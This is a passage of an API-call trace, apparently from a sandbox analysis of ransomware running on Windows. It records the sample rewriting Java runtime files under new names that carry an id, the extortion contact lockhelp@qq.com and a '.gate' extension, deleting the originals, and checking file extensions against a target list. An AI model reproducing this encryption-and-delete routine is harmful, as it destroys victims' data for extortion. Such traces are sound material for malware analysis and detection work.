dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.975] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.975] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0297.037] GetLastError () returned 0x0 [0297.037] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xf9e, lpOverlapped=0x0) returned 1 [0297.180] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0297.452] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.452] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0297.500] SetEndOfFile (hFile=0x500) returned 1 [0297.500] CloseHandle (hObject=0x500) returned 1 [0297.500] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.500] SetEndOfFile (hFile=0x4b8) returned 1 [0297.602] CloseHandle (hObject=0x4b8) returned 1 [0297.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0297.603] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.604] lstrlenW (lpString=".doc") returned 4 [0297.604] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0297.604] lstrlenW (lpString=".docx") returned 5 [0297.604] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0297.604] lstrlenW (lpString=".pdf") returned 4 [0297.604] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0297.604] lstrlenW (lpString=".xls") returned 4 [0297.604] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0297.604] lstrlenW (lpString=".xlsx") returned 5 [0297.604] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0297.604] lstrlenW (lpString=".ppt") returned 4 [0297.604] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.604] lstrlenW (lpString=".zip") returned 4 [0297.604] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0297.604] lstrlenW (lpString=".rar") returned 4 [0297.604] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString=".bz2") returned 4 [0297.605] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString=".7z") returned 3 [0297.605] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.605] lstrlenW (lpString=".dbf") returned 4 [0297.605] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.605] lstrlenW (lpString=".1cd") returned 4 [0297.605] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.605] lstrlenW (lpString=".jpg") returned 4 [0297.605] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.605] lstrlenW (lpString=".doc") returned 4 [0297.605] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString=".docx") returned 5 [0297.605] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0297.605] lstrlenW (lpString=".pdf") returned 4 [0297.605] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString=".xls") returned 4 [0297.605] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0297.605] lstrlenW (lpString=".xlsx") returned 5 [0297.606] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0297.606] lstrlenW (lpString=".ppt") returned 4 [0297.606] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.606] lstrlenW (lpString=".zip") returned 4 [0297.606] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString=".rar") returned 4 [0297.606] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString=".bz2") returned 4 [0297.606] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString=".7z") returned 3 [0297.606] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.606] lstrlenW (lpString=".dbf") returned 4 [0297.606] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.606] lstrlenW (lpString=".1cd") returned 4 [0297.606] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0297.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0297.606] lstrlenW (lpString=".jpg") returned 4 [0297.606] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0297.607] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0297.607] lstrlenW (lpString="management-agent.jar") returned 20 [0297.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.607] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=381) returned 1 [0297.607] CloseHandle (hObject=0x4b8) returned 1 [0297.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0297.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.608] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.608] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0297.609] GetLastError () returned 0x0 [0297.609] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x17d, lpOverlapped=0x0) returned 1 [0297.610] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x180, lpOverlapped=0x0) returned 1 [0297.611] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.611] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0297.763] SetEndOfFile (hFile=0x564) returned 1 [0297.763] CloseHandle (hObject=0x564) returned 1 [0297.763] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.763] SetEndOfFile (hFile=0x4b8) returned 1 [0297.891] CloseHandle (hObject=0x4b8) returned 1 [0297.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0297.891] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0297.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.892] lstrlenW (lpString=".doc") returned 4 [0297.892] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0297.892] lstrlenW (lpString=".docx") returned 5 [0297.892] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0297.892] lstrlenW (lpString=".pdf") returned 4 [0297.892] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0297.892] lstrlenW (lpString=".xls") returned 4 [0297.892] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0297.892] lstrlenW (lpString=".xlsx") returned 5 [0297.892] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0297.892] lstrlenW (lpString=".ppt") returned 4 [0297.892] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0297.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.892] lstrlenW (lpString=".zip") returned 4 [0297.892] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0297.892] lstrlenW (lpString=".rar") returned 4 [0297.892] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0297.893] lstrlenW (lpString=".bz2") returned 4 [0297.893] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0297.893] lstrlenW (lpString=".7z") returned 3 [0297.893] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString=".dbf") returned 4 [0297.893] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString=".1cd") returned 4 [0297.893] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString=".jpg") returned 4 [0297.893] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString=".doc") returned 4 [0297.893] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0297.893] lstrlenW (lpString=".docx") returned 5 [0297.893] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0297.893] lstrlenW (lpString=".pdf") returned 4 [0297.893] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0297.893] lstrlenW (lpString=".xls") returned 4 [0297.893] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0297.893] lstrlenW (lpString=".xlsx") returned 5 [0297.893] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0297.893] lstrlenW (lpString=".ppt") returned 4 [0297.893] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0297.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.893] lstrlenW (lpString=".zip") returned 4 [0297.893] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0297.894] lstrlenW (lpString=".rar") returned 4 [0297.894] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0297.894] lstrlenW (lpString=".bz2") returned 4 [0297.894] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0297.894] lstrlenW (lpString=".7z") returned 3 [0297.894] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0297.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.894] lstrlenW (lpString=".dbf") returned 4 [0297.894] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0297.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.894] lstrlenW (lpString=".1cd") returned 4 [0297.894] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0297.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0297.894] lstrlenW (lpString=".jpg") returned 4 [0297.894] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0297.894] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0297.894] lstrlenW (lpString="net.properties") returned 14 [0297.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.895] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4464) returned 1 [0297.895] CloseHandle (hObject=0x4b8) returned 1 [0297.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0297.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.895] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.895] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0297.896] GetLastError () returned 0x0 [0297.896] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1170, lpOverlapped=0x0) returned 1 [0297.897] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1180, lpOverlapped=0x0) returned 1 [0297.898] ReadFile (in: hFile=0x4b8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.898] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0297.898] SetEndOfFile (hFile=0x564) returned 1 [0297.898] CloseHandle (hObject=0x564) returned 1 [0297.898] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.898] SetEndOfFile (hFile=0x4b8) returned 1 [0297.900] CloseHandle (hObject=0x4b8) returned 1 [0297.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0297.901] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0297.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.901] lstrlenW (lpString=".doc") returned 4 [0297.901] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0297.901] lstrlenW (lpString=".docx") returned 5 [0297.901] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0297.901] lstrlenW (lpString=".pdf") returned 4 [0297.901] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0297.901] lstrlenW (lpString=".xls") returned 4 [0297.901] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0297.901] lstrlenW (lpString=".xlsx") returned 5 [0297.901] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0297.901] lstrlenW (lpString=".ppt") returned 4 [0297.901] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0297.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.901] lstrlenW (lpString=".zip") returned 4 [0297.902] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".rar") returned 4 [0297.902] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".bz2") returned 4 [0297.902] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".7z") returned 3 [0297.902] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0297.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.902] lstrlenW (lpString=".dbf") returned 4 [0297.902] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.902] lstrlenW (lpString=".1cd") returned 4 [0297.902] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.902] lstrlenW (lpString=".jpg") returned 4 [0297.902] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.902] lstrlenW (lpString=".doc") returned 4 [0297.902] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".docx") returned 5 [0297.902] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0297.902] lstrlenW (lpString=".pdf") returned 4 [0297.902] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".xls") returned 4 [0297.902] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0297.902] lstrlenW (lpString=".xlsx") returned 5 [0297.902] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0297.902] lstrlenW (lpString=".ppt") returned 4 [0297.902] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.903] lstrlenW (lpString=".zip") returned 4 [0297.903] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString=".rar") returned 4 [0297.903] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString=".bz2") returned 4 [0297.903] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString=".7z") returned 3 [0297.903] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0297.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.903] lstrlenW (lpString=".dbf") returned 4 [0297.903] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.903] lstrlenW (lpString=".1cd") returned 4 [0297.903] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0297.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0297.903] lstrlenW (lpString=".jpg") returned 4 [0297.903] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0297.903] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0297.903] lstrlenW (lpString="plugin.jar") returned 10 [0297.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0297.906] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1923211) returned 1 [0297.906] CloseHandle (hObject=0x4b8) returned 1 [0297.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0297.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0297.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.907] lstrlenW (lpString=".doc") returned 4 [0297.907] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0297.907] lstrlenW (lpString=".docx") returned 5 [0297.907] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0297.907] lstrlenW (lpString=".pdf") returned 4 [0297.907] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0297.907] lstrlenW (lpString=".xls") returned 4 [0297.907] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0297.907] lstrlenW (lpString=".xlsx") returned 5 [0297.907] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0297.907] lstrlenW (lpString=".ppt") returned 4 [0297.907] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0297.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.907] lstrlenW (lpString=".zip") returned 4 [0297.907] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0297.907] lstrlenW (lpString=".rar") returned 4 [0297.907] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0297.907] lstrlenW (lpString=".bz2") returned 4 [0297.907] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0297.907] lstrlenW (lpString=".7z") returned 3 [0297.907] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0297.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0297.907] lstrlenW (lpString=".dbf") returned 4 [0297.907] lstrcmpiW (lpString1=".dbf", 